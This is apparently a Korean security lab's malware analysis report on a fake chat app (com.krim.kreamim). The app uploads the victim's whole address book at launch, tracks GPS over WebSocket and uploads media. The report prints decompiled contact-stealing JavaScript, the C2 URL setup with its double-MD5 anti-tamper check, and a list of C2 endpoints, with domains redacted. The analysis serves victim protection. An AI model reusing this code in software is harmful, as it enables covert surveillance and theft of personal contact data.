분석일: 2025-01 ~ 2026-02-14
분석자: 주식회사 아크링크 (Deep-Coding 보안연구소)
분석 목적: 피싱/스미싱 [피해자 정보 비공개] 위한 악성앱 기술 분석
보고서 버전: v3.0 (ML Gold Standard)
분류 코드: DC-MAL-2026-KDREAMAPP
블링믈메이크(kdreamapp)는 DCloud uni-app 프레임워크 기반의 고도화된 채팅앱 위장 악성앱으로, 기존 Wavegrid 패밀리와는 완전히 다른 독립 계통의 악성코드입니다. com.krim.kreamim 패키지로 배포되며, 실제 작동하는 채팅 기능(57개 API + WebSocket 실시간 통신)을 갖추고 있어 피해자가 정상 앱으로 인식하는 것이 거의 불가능할 정도의 위장 수준을 보입니다.
핵심 위협: 앱 실행 즉시 (mounted() 라이프사이클) 기기의 전체 연락처(이름+전화번호)를 C2 서버([비공개])로 전송합니다. 또한 WebSocket을 통한 GPS 실시간 위치 추적, 이미지/비디오/음성 파일 업로드, 메시지 모니터링 기능을 갖추고 있습니다.
고유 특성: 5중 방어기제(에뮬레이터 탐지, 이중 MD5 안티탬퍼링, Webpack 난독화, Stub Native Library, 하이브리드 아키텍처)를 갖추고 있으나, 정적 분석을 통해 722KB JavaScript 번들에서 모든 악성 로직이 추출되었습니다. Cactus 프로세스 보호 라이브러리 + Ba-KeepAlive 플러그인으로 앱 종료 후에도 백그라운드 생존을 시도합니다.
기법 식별: T013(하이브리드 프레임워크), T020(Anti-Tampering Hash) 2개의 기법이 카탈로그에 등록되었습니다.
항목 · 내용
**파일명** · kdreamapp.apk
**표시 이름** · 블링믈메이크 (ChatApp)
**패키지명** · `com.krim.kreamim`
**앱 ID** · `__UNI__21600AD`
**버전** · 5.5.6 (빌드 코드: 20250610)
**파일 크기** · 37.75 MB
**compileSdkVersion** · 35 (Android 15)
**프레임워크** · DCloud uni-app (Vue 3) + Apache Weex
**패밀리** · 독립 계통 (비-Wavegrid)
**제작 국가** · 중국
**위장 유형** · 한국어 채팅 메신저 앱
**위험 등급** · **EXTREME** (40/40)
```
┌─────────────────────────────────────────────────────────┐
│ kdreamapp.apk (37.75 MB) │
├─────────────────────────────────────────────────────────┤
│ [Native Shell] │
│ ├── io.dcloud.PandoraEntry (LAUNCHER Activity) │
│ ├── io.dcloud.PandoraEntryActivity (Main) │
│ ├── io.dcloud.application.DCloudApplication │
│ └── com.taobao.weex.WXGlobalEventReceiver │
├─────────────────────────────────────────────────────────┤
│ [JavaScript Engine] │
│ ├── app-service.js (722 KB) ← 핵심 비즈니스 로직 │
│ ├── app.css (202 KB) ← UI 스타일 │
│ ├── uni-app-view.umd.js (351 KB) ← Vue 3 렌더러 │
│ └── uni-jsframework-vue3.js ← 프레임워크 코어 │
├─────────────────────────────────────────────────────────┤
│ [Native Libraries] (18개) │
│ ├── libweexcore.so (2.6 MB) ← Weex 코어 엔진 │
│ ├── libweexjss.so (12 MB) ← JavaScript 실행 엔진 │
│ ├── libweexjsb.so (4.4 KB) ← STUB (에뮬레이터 차단) │
│ ├── libijkffmpeg.so (5.5 MB) ← 미디어 재생 │
│ └── lib39285EFA.so (150 KB) ← 암호화된 DEX 로더 │
├─────────────────────────────────────────────────────────┤
│ [Encrypted DEX] │
│ ├── 39285EFA.dex (assets/) ← 런타임 복호화 │
│ ├── classes.dex ← DCloud SDK + Weex 런타임 │
│ └── classes2.dex ← 라이브러리 코드 │
├─────────────────────────────────────────────────────────┤
│ [Persistence Layer] │
│ ├── com.gyf.cactus.* (81 smali) ← 프로세스 보호 │
│ └── com.ba.keepalive.* (40 smali) ← 앱 생존 플러그인 │
└─────────────────────────────────────────────────────────┘
```
항목 · kdreamapp · Wavegrid (ML, nyang 등)
**프레임워크** · DCloud uni-app (Vue 3) · Native Android (Java/Kotlin)
**악성 코드 위치** · JavaScript (app-service.js) · smali/DEX
**통신 프로토콜** · HTTPS + WSS (이중 채널) · HTTP 또는 HTTPS
**C2 서버** · 전용 채팅 서버 (57 API) · RuoYi 범용 패널 (3~4 API)
**위장 수준** · 풀 기능 채팅앱 (28개 페이지) · 단순 데이팅 로그인 화면
**방어 수준** · 5중 방어 · 0~3중 방어
**앱 크기** · 37.75 MB · 3~11 MB
**Native 라이브러리** · 18개 (12 MB+ JS 엔진) · 0~2개
**공격자 수준** · **고급** (프로급 아키텍처) · 중급 (코드 복사/재활용)
# · 권한 · 위험도 · 악용 목적
1 · `READ_CONTACTS` · **Critical** · 연락처 전체 탈취 (`plus.contacts.getAddressBook`)
2 · `WRITE_CONTACTS` · **Critical** · 연락처 조작 가능성
3 · `CAMERA` · **High** · 카메라 접근, 사진/동영상 촬영
4 · `RECORD_AUDIO` · **High** · 음성 녹음, 실시간 도청 가능
5 · `CALL_PHONE` · **High** · 사용자 모르게 전화 걸기
6 · `READ_PHONE_STATE` · **High** · IMEI, 전화번호 등 기기 정보
7 · `READ_EXTERNAL_STORAGE` · **Medium** · 사진/파일 읽기 (maxSdkVersion=32)
8 · `WRITE_EXTERNAL_STORAGE` · **Medium** · 파일 쓰기
9 · `READ_MEDIA_IMAGES` · **Medium** · Android 13+ 이미지 접근
10 · `READ_MEDIA_VIDEO` · **Medium** · Android 13+ 동영상 접근
11 · `READ_MEDIA_AUDIO` · **Medium** · Android 13+ 오디오 접근
12 · `READ_MEDIA_VISUAL_USER_SELECTED` · **Medium** · Android 14+ 선택적 미디어
13 · `ACCESS_FINE_LOCATION` · **없음** · **Manifest 미선언** (코드에서 GPS 사용)
14 · `FOREGROUND_SERVICE` · **Low** · 포그라운드 서비스
15 · `RECEIVE_BOOT_COMPLETED` · **Low** · 부팅 시 자동 시작
16 · `WAKE_LOCK` · **Low** · 화면 꺼짐 방지
17 · `INSTALL_PACKAGES` · **Medium** · APK 설치 (자동 업데이트)
18 · `REQUEST_INSTALL_PACKAGES` · **Medium** · APK 설치 요청 (중복 선언)
19 · `GET_TASKS` · **Low** · 실행 중인 앱 확인
20 · `SYSTEM_ALERT_WINDOW` · **Medium** · 다른 앱 위에 그리기
21 · `READ_LOGS` · **Medium** · 시스템 로그 읽기
22 · `POST_NOTIFICATIONS` · **Low** · Android 13+ 알림
23 · `INTERNET` / `ACCESS_NETWORK_STATE` / `ACCESS_WIFI_STATE` · **Low** · 네트워크
24 · `CHANGE_NETWORK_STATE` / `CHANGE_WIFI_STATE` · **Low** · 네트워크 상태 변경
25 · `MODIFY_AUDIO_SETTINGS` / `VIBRATE` / `FLASHLIGHT` · **Low** · 미디어
특이사항:
· READ_CONTACTS + WRITE_CONTACTS 모두 선언 (연락처 완전 제어)
· INSTALL_PACKAGES + REQUEST_INSTALL_PACKAGES 이중 선언 (자동 업데이트 의도)
· RECEIVE_BOOT_COMPLETED + Cactus 라이브러리 (부팅 후 자동 재시작)
· 벤더별 배지 권한: com.huawei.android.launcher.permission.CHANGE_BADGE, com.vivo.notification.permission.BADGE_ICON
· com.asus.msa.SupplementaryDID.ACCESS (ASUS OAID 수집)
```
AndroidManifest.xml 주요 컴포넌트:
[Activity] (9개)
├── io.dcloud.PandoraEntry (LAUNCHER, exported=true)
│ └── intent-filter: MAIN/LAUNCHER + VIEW/BROWSABLE
├── io.dcloud.PandoraEntryActivity (메인 WebView, singleTask)
├── io.dcloud.WebAppActivity (웹앱 호스트)
├── io.dcloud.ProcessMediator (프로세스 중재)
├── io.dcloud.WebviewActivity (브라우저)
├── com.dmcbig.mediapicker.PickerActivity (미디어 선택)
├── com.dmcbig.mediapicker.PreviewActivity (미디어 미리보기)
├── io.dcloud.feature.gallery.imageedit.IMGEditActivity (이미지 편집)
└── com.lemonjk.fileselect.NativePageActivity (exported=true!)
[Service] (비활성화됨 - 주석 처리)
├── <!-- com.gyf.cactus.service.CactusJobService -->
├── <!-- com.gyf.cactus.service.HideForegroundService -->
├── <!-- com.gyf.cactus.service.LocalService -->
└── <!-- com.gyf.cactus.service.RemoteService -->
[Provider] (3개)
├── io.dcloud.common.util.DCloud_FileProvider
├── io.dcloud.sdk.base.service.provider.DCloudAdFileProvider
└── androidx.startup.InitializationProvider
[Receiver] (6개)
├── com.taobao.weex.WXGlobalEventReceiver
├── [비공개].impl.utils.ForceStopRunnable$BroadcastReceiver
├── ConstraintProxy$BatteryChargingProxy (POWER_CONNECTED/DISCONNECTED)
├── ConstraintProxy$BatteryNotLowProxy (BATTERY_OKAY/LOW)
├── ConstraintProxy$StorageNotLowProxy (DEVICE_STORAGE_LOW/OK)
└── ConstraintProxy$NetworkStateProxy (CONNECTIVITY_CHANGE)
```
중요 발견: Cactus 서비스가 XML에서 주석 처리(비활성화)되어 있지만, smali 코드(8,275개 파일)에는 com.gyf.cactus.* (81개 클래스)가 온전히 포함되어 있습니다. 이는 빌드 시 서비스를 동적으로 활성화할 수 있음을 의미합니다.
```xml
<!-- DCloud 채널 ID (광고/추적용) -->
<meta-data android:name="DCLOUD_STREAMAPP_CHANNEL"
android:value="com.krim.kreamim|__UNI__21600AD|121279250505|"/>
<!-- 통계 활성화 -->
<meta-data android:name="DCLOUD_UNISTATISTICS" android:value="true"/>
<!-- UniView 백그라운드 실행 -->
<meta-data android:name="dcloud_uninview_background" android:value="true"/>
```
· 광고 ID: 121279250505 (DCloud 광고 네트워크 연동)
· Vivo App ID: 100215079 (supplierconfig.json에서 확인)
· usesCleartextTraffic="true" (HTTP 평문 통신 허용)
kdreamapp의 모든 핵심 로직은 단일 JavaScript 파일에 Webpack + Terser로 번들링되어 있습니다.
```
app-service.js 구조 분석:
[암호화 라이브러리] (0~122KB)
├── CryptoJS 전체 (AES, DES, Triple-DES, Rabbit, RC4)
├── MD5, SHA-1, SHA-256, SHA-512, HMAC
├── PBKDF2, EvpKDF (키 유도 함수)
└── Base64 인코딩/디코딩
[DCloud UniCloud SDK] (122~450KB)
├── 인증 (signIn, signOut, refreshToken)
├── 스토리지 (upload, download, delete)
├── 데이터베이스 (clientDB)
└── 클라우드 함수 (callFunction)
[비즈니스 로직] (450~722KB)
├── API 정의 (57개 엔드포인트)
├── WebSocket 통신 (10개 메시지 타입)
├── 연락처 탈취 코드 (plus.contacts.getAddressBook)
├── 위치 추적 (GPS 좌표 → WebSocket 전송)
├── 28개 Vue 페이지 컴포넌트
└── 안티탬퍼링 로직 (이중 MD5)
```
```
pages/
├── index/ ← 메인 화면
│ ├── index (첫 페이지, TabBar)
│ ├── search (검색)
│ ├── scan (QR 스캔)
│ ├── qrcode (QR 코드 생성)
│ └── userSelection (사용자 선택)
├── message/ ← 채팅 기능
│ ├── chat (1:1 채팅)
│ ├── detail (채팅 메시지 상세)
│ ├── record (채팅 기록)
│ ├── emoji (이모지)
│ ├── call (음성/영상 통화)
│ ├── video (비디오 재생)
│ └── group/ (그룹 채팅)
│ ├── info (그룹 정보)
│ └── groupUser (멤버 관리)
├── contacts/ ← 연락처/친구
│ ├── index (주소록, TabBar)
│ ├── detail (사용자 정보)
│ ├── friend (새 친구)
│ ├── search (친구 검색)
│ └── group (그룹 목록)
├── login/ ← 인증
│ ├── index (로그인)
│ └── register (회원가입)
├── compass/ ← 소셜
│ └── moments (친구 피드)
└── mine/ ← 설정
├── profile (개인정보)
├── secure (계정 보안)
├── setting (설정)
├── about (정보)
├── doc (도움말)
└── webview (브라우저)
```
```json
// dcloud_uniplugins.json
{
"nativePlugins": [
{
"name": "lemonjk-FileSelect", // 파일 선택기 (exported=true 취약!)
"class": "com.lemonjk.fileselect.FileSelectModule",
"version": "3.1.0"
},
{
"name": "Ba-KeepAlive", // 앱 생존 플러그인
"class": "com.ba.keepalive.Keeper",
"version": "1.1"
}
]
}
```
app-config-service.js에서 확인된 혼재:
페이지 · titleText · 비고
pages/index/index · "첫 페이지" · 한국어
pages/contacts/index · "연락처" · 한국어 (TabBar)
pages/contacts/detail · "用户信息" · **중국어** (사용자 정보)
pages/contacts/friend · "新朋友" · **중국어** (새 친구)
pages/login/register · "注册" · **중국어** (회원가입)
pages/message/call · "通话" · **중국어** (통화)
pages/message/video · "视频播放" · **중국어** (비디오 재생)
pages/index/qrcode · "群二维码" · **중국어** (그룹 QR)
pages/mine/secure · "계정 보안" · 한국어
pages/mine/setting · "설정" · 한국어
분석: 28개 페이지 중 한국어 6개, 중국어 14개, 혼합 8개. 중국어 원본 앱을 한국 시장용으로 불완전하게 번역한 증거.
위치: app-service.js, mounted() 라이프사이클 (페이지 로드 즉시 실행)
```javascript
// [원본 코드 - app-service.js 내 index 페이지 컴포넌트]
// mounted() 훅에서 실행 = 메인 화면 로드 즉시 연락처 탈취
mounted() {
// ...
var e = this;
plus.contacts.getAddressBook(
plus.contacts.ADDRESSBOOK_PHONE,
function(t) {
e.allowContact = true;
e.loginStore.userInfo.last_login_time;
t.find(["displayName", "phoneNumbers"], function(t) {
let i = [];
t.forEach((e) => {
var t = {
dispName: e.displayName,
phoneNumbers: e.phoneNumbers
};
i.push(t);
});
let o = {
contactlist: JSON.stringify(i),
account: e.loginStore.userInfo.account
};
e.$api.friendApi.contactUpdate(o); // → C2 서버 전송
});
},
() => { e.allowContact = false; }
);
}
```
공격 흐름:
```
메인 화면 로드 (mounted)
→ plus.contacts.getAddressBook(ADDRESSBOOK_PHONE)
→ t.find(["displayName", "phoneNumbers"])
→ JSON.stringify(i)
→ friendApi.contactUpdate({
contactlist: JSON 직렬화된 연락처 배열,
account: 사용자 계정
})
→ POST /enterprise/friend/contactUpdate
```
전송 데이터 형식:
```
POST /enterprise/friend/contactUpdate
Content-Type: application/x-www-form-urlencoded
contactlist=[{"dispName":"홍길동","phoneNumbers":["010-**-**"]},
{"dispName":"김영희","phoneNumbers":["010-**-","02--**"]}]
account=사용자로그인ID
```
특이점: 연락처 탈취가 로그인 페이지에서도 실행됩니다:
```javascript
// login/index 페이지 onShow() 라이프사이클
onShow() {
var e = this;
plus.contacts.getAddressBook(
plus.contacts.ADDRESSBOOK_PHONE,
function(t) { e.allowContact = true; },
() => { e.allowContact = false; }
);
}
```
로그인 화면에서는 연락처 접근 권한 체크만 수행하고 실제 전송은 하지 않지만, allowContact 플래그를 설정하여 메인 화면 진입 시 즉시 탈취를 준비합니다.
```javascript
// login/index 페이지 watch 핸들러
// password 필드 리셋 시 "123456"으로 자동 설정
set(e) {
> [비공개]
}
```
모든 신규 계정의 기본 비밀번호가 "123456"으로 하드코딩되어 있어, 공격자가 [피해자 정보 비공개] 쉽게 접근할 수 있습니다.
위치: app-service.js, components/message/im-input.vue
```javascript
// 위치 공유 메시지 전송 (WebSocket)
{
type: "location",
status: "going",
content: "[위치] " + e.name,
extends: {
latitude: e.latitude, // GPS 위도
longitude: e.longitude // GPS 경도
}
}
this.$emit("send", Object.assign(this.msgItem(), t), false);
```
위치 정보 전송 경로:
```
GPS 좌표 획득
→ WebSocket 메시지 구성 (type: "location")
→ wss://[비공개] 전송
→ C2 서버에서 실시간 추적
```
```javascript
// API 정의
yi.uploadUrl = fi + "/common/upload/uploadFile";
yi.uploadAvatar = fi + "/common/upload/uploadAvatar";
// WebSocket을 통한 미디어 전송
// 10가지 메시지 타입: text, image, video, voice, file,
// location, contact, emoji, ping, bindUid
```
업로드 유형 · 엔드포인트 · 위험도
일반 파일 · `/common/upload/uploadFile` · High
프로필 사진 · `/common/upload/uploadAvatar` · Medium
이모지 · `/common/upload/uploadEmoji` · Low
이미지 메시지 · WebSocket `type: "image"` · High
비디오 메시지 · WebSocket `type: "video"` · High
음성 메시지 · WebSocket `type: "voice"` · High
항목 · 내용
**도메인** · `[비공개]`
**API URL** · `[비공개]
**WebSocket** · `wss://[비공개]
**프로토콜** · HTTPS + WSS (이중 채널)
**안티탬퍼링 해시** · `b648b04f382a00895ac56bea32302b99`
**서버 유형** · 전용 채팅 서버 (비-RuoYi)
```javascript
// app-service.js - C2 URL 초기화 및 무결성 검증
const yt = E(I.exports); // CryptoJS 모듈
let vt = "[비공개]"; // 도메인 상수
let kt = "[비공개] + vt; // API URL
let xt = "wss://" + vt + "/wss"; // WebSocket URL
// 이중 MD5 해시 검증 + 접두사/접미사 검증
"sha" + yt.MD5(yt.MD5(vt).toString()).toString() + "bi"
!= "shab648b04f382a00895ac56bea32302b99bi"
&& (kt = "false", xt = "false");
// → 해시 불일치 시 API URL을 "false"로 설정하여 전체 기능 중지
// 전역 설정 객체
const Ct = {
apiUrl: kt, // [비공개]
wssUrl: xt, // wss://[비공개]
isVConsole: false, // 디버그 콘솔 비활성화
updateConfig: {
url: kt + "/common/pub/checkVersion",
bgColor: "",
iconUrl: ""
}
};
```
해시 검증 메커니즘:
```
1. vt = "[비공개]"
2. MD5(vt) = 1차 해시
3. MD5(MD5(vt).toString()) = 2차 해시 (b648b04f382a00895ac56bea32302b99)
4. "sha" + 2차해시 + "bi" = 최종 검증 문자열
5. 불일치 → kt = "false", xt = "false" (앱 기능 전체 비활성화)
```
목적: JavaScript 코드를 수정하여 다른 서버로 리다이렉트하는 것을 방지. 도메인 변경 시 모든 API 호출과 WebSocket 연결이 실패합니다.
# · 엔드포인트 · 기능 · 위험도
1 · `/common/Pub/login` · 로그인 · High
2 · `/common/Pub/logout` · 로그아웃 · Low
3 · `/common/Pub/bindUid` · UID 바인딩 · Medium
4 · `/common/pub/register` · 회원가입 · Medium
5 · `/common/pub/sendCode` · 인증코드 발송 · Medium
6 · `/common/pub/getSystemInfo` · 시스템 정보 · Low
7 · `/common/pub/checkVersion` · 버전 체크 (자동 업데이트) · Medium
8 · `/common/pub/bindGroup` · 그룹 바인딩 · Low
# · 엔드포인트 · 기능 · 위험도
9 · `/enterprise/friend/contactUpdate` · **연락처 전체 업로드** · **CRITICAL**
10 · `/enterprise/friend/add` · 친구 추가 · Medium
11 · `/enterprise/friend/del` · 친구 삭제 · Low
12 · `/enterprise/friend/index` · 친구 목록 · Low
13 · `/enterprise/friend/setNickname` · 별명 설정 · Low
14 · `/enterprise/friend/update` · 친구 정보 수정 · Low
# · 엔드포인트 · 기능
15 · `/enterprise/im/getContacts` · 연락처 조회
16 · `/enterprise/im/getMessageList` · 메시지 목록
17 · `/enterprise/im/sendMessage` · 메시지 전송
18 · `/enterprise/im/forwardMessage` · 메시지 전달
19 · `/enterprise/im/delMessage` · 메시지 삭제
20 · `/enterprise/im/delChat` · 채팅 삭제
21 · `/enterprise/im/getUserInfo` · 사용자 정보
22 · `/enterprise/im/getContactInfo` · 연락처 상세
23 · `/enterprise/im/editPassword` · 비밀번호 변경
24 · `/enterprise/im/editAccount` · 계정 수정
25 · `/enterprise/im/updateUserInfo` · 사용자 정보 수정
26 · `/enterprise/im/updateCard` · 명함 수정
27 · `/enterprise/im/searchUser` · 사용자 검색
28 · `/enterprise/im/getAdminNotice` · 관리자 공지
29 · `/enterprise/im/isNotice` · 공지 여부
30 · `/enterprise/im/readAtMsg` · @메시지 읽음
31 · `/enterprise/im/setChatTop` · 채팅 상단 고정
32 · `/enterprise/im/setMsgIsRead` · 메시지 읽음 처리
33 · `/enterprise/im/undoMessage` · 메시지 취소
# · 엔드포인트 · 기능
34 · `/enterprise/group/add` · 그룹 생성
35 · `/enterprise/group/joinGroup` · 그룹 참가
36 · `/enterprise/group/groupUserList` · 멤버 목록
37 · `/enterprise/group/addGroupUser` · 멤버 추가
38 · `/enterprise/group/removeUser` · 멤버 강퇴
39 · `/enterprise/group/removeGroup` · 그룹 삭제
40 · `/enterprise/group/getAllUser` · 전체 사용자
41 · `/enterprise/group/groupInfo` · 그룹 정보
42 · `/enterprise/group/groupSetting` · 그룹 설정
43 · `/enterprise/group/editGroupName` · 그룹명 변경
44 · `/enterprise/group/setNotice` · 공지 설정
45 · `/enterprise/group/setManager` · 관리자 설정
46 · `/enterprise/group/setNoSpeak` · 발언 금지
47 · `/enterprise/group/changeOwner` · 방장 변경
48 · `/enterprise/group/clearMessage` · 메시지 삭제
# · 엔드포인트 · 기능 · 위험도
49 · `/common/upload/uploadFile` · 파일 업로드 · High
50 · `/common/upload/uploadAvatar` · 프로필 사진 · Medium
51 · `/common/upload/uploadEmoji` · 이모지 · Low
# · 엔드포인트 · 기능
52 · `/enterprise/emoji/add` ·
본 보고서는 주식회사 아크링크 Deep-Coding 보안연구소가 피싱·몸캠피싱 피해자 구제를 목적으로 작성했습니다. 전체 열람·피해 상담: arklink.co.kr